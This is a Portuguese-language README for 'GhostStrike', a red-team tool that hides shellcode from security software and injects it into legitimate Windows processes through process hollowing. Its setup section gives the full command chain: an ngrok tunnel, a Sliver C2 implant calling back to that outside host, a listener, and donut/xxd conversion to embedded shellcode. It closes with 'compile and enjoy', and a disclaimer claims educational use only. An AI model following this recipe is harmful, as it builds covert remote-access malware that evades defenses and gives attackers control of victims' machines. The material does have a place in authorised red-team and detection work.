GhostStrike ⚔️

GhostStrike é uma ferramenta avançada de cibersegurança projetada para operações de Red Team, apresentando técnicas sofisticadas para evadir a detecção e realizar process hollowing em sistemas Windows.

---

✨ Recursos

• Resolução Dinâmica de API: Utiliza um método personalizado baseado em hash para resolver dinamicamente APIs do Windows, evitando a detecção por ferramentas de segurança baseadas em assinaturas.
• Codificação/Decodificação Base64: Codifica e decodifica shellcode para ocultar sua presença na memória, tornando mais difícil para ferramentas de análise estática detectá-lo.
• Geração de Chaves Criptográficas: Gera chaves criptográficas seguras usando APIs de Criptografia do Windows para criptografar e descriptografar o shellcode, adicionando uma camada extra de proteção.
• Criptografia/Descriptografia XOR: Criptografia baseada em XOR, simples mas eficaz, para proteger o shellcode durante seu processo de injeção.
• Control Flow Flattening: Implementa control flow flattening para ofuscar o caminho de execução, complicando a análise tanto por ferramentas de análise estática quanto dinâmica.
• Process Hollowing: Injeta shellcode criptografado em um processo legítimo do Windows, permitindo que ele seja executado de forma encoberta sem levantar suspeitas.

---

⚙️ Configuração

Você pode configurar o GhostStrike com os seguintes passos:

1. Criar Serviço Ngrok: ngrok tcp 443
2. Gerar Implante Sliver C2: generate --mtls x.tcp.ngrok.io --save YourFile.exe
3. Criar Listener: mtls --lhost 0.0.0.0 --lport 443
4. Converter para .bin: ./donut -i /home/YourUser/YourFile.exe -a 2 -f 1 -o /home/YourUser/YourFile.bin
5. Converter para Shellcode C++: xxd -i YourFile.bin > YourFile.h
6. Importar YourFile.h para este código
7. Compile e aproveite! 🚀

---

💻 Requisitos

• Compilador C++: Qualquer compilador C++ moderno, como g++, clang++ ou Visual Studio, é suficiente para compilar o código.

Nenhuma dependência adicional é necessária para compilar o GhostStrike. Basta compilar o código-fonte com seu compilador C++ preferido e você estará pronto para começar!

---

⚠️ Aviso Legal

Esta ferramenta destina-se exclusivamente a fins educacionais e para uso em ambientes controlados. O uso não autorizado do GhostStrike fora desses ambientes é estritamente proibido. O autor, @Stiven.Hacker, não se responsabiliza por qualquer uso indevido ou dano causado por este código.

---

🎥 Demonstração

Confira uma demonstração ao vivo do GhostStrike em ação no LinkedIn:

Assistir Demonstração